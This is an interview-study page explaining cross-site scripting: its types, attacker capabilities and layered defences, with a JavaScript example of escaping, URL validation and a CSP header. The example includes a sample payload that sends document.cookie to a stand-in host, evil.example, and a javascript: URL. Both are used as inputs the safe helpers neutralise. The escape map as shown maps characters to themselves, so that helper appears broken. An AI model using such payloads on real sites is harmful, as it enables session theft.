JavaScriptHard
What is XSS?
XSS (Cross-Site Scripting) is a vulnerability where an attacker gets their own JavaScript to run in other users' browsers on your site, usually by injecting it through data that your app renders as HTML without proper escaping.
Types
- Stored XSS: malicious input is saved (a comment, a profile name) and served to every visitor.
- Reflected XSS: input from the URL or a form is echoed straight back in the response.
- DOM-based XSS: client-side JavaScript takes data from
location,postMessageor storage and writes it into the DOM unsafely (innerHTML,document.write,eval,href="javascript:...").
What attackers can do
Steal session data and tokens readable by JavaScript, act as the user (change email, make purchases), log keystrokes, show fake login forms, or spread to other users.
Defences (layered)
- Escape output by default: React, Vue and Angular escape text in templates. The danger zones are escape hatches:
dangerouslySetInnerHTML,v-html,innerHTML. - Use safe DOM APIs:
textContent,setAttribute,createElementinstead of building HTML strings. - Sanitise when you must render HTML (e.g. rich text): use a well-maintained sanitiser like DOMPurify, or the Sanitizer API (
setHTML) where supported. - Validate URLs: allow only
http:/https:(and maybemailto:) in user-provided links, neverjavascript:. - Content Security Policy (CSP): an HTTP header that blocks inline scripts and untrusted sources; strict CSP with nonces greatly limits damage.
- HttpOnly cookies so session cookies cannot be stolen by script.
- Trusted Types (Chromium) to enforce safe DOM sinks.
In interviews
Explain that escaping depends on context (HTML body, attribute, URL, JavaScript, CSS), and that frameworks protect you until you bypass them.
Code example
js
1// Context-aware helpers that prevent common XSS mistakes2const escapeHtml = (s) =>3 String(s).replace(/[&<>"']/g, (c) => ({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" })[c]);45function safeUrl(input) {6 try {7 const url = new URL(input, "https://app.example.com");8 return ["http:", "https:", "mailto:"].includes(url.protocol) ? url.href : "#";9 } catch {10 return "#";11 }12}1314const comment = `<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">`;15const website = "javascript:alert(document.domain)";1617// Vulnerable: `<p>${comment}</p>` inserted with innerHTML runs the onerror handler.18// Safe:19const html = `<p>${escapeHtml(comment)}</p><a href="${escapeHtml(safeUrl(website))}">site</a>`;20console.log(html);21// <p><img src=x onerror="fetch(...)"></p><a href="#">site</a>2223console.log(safeUrl("https://example.com/profile"), safeUrl("JaVaScRiPt:alert(1)")); // https://example.com/profile #2425// A strict Content-Security-Policy header (set by the server):26const csp = [27 "default-src 'self'",28 "script-src 'self' 'nonce-{random-per-request}'", // no inline scripts without the nonce29 "object-src 'none'",30 "base-uri 'none'",31 "frame-ancestors 'none'",32].join("; ");33console.log(csp);
Practice this question
Open it in the study app to track progress, take notes, listen to the answer and work through the rest of the JavaScript set.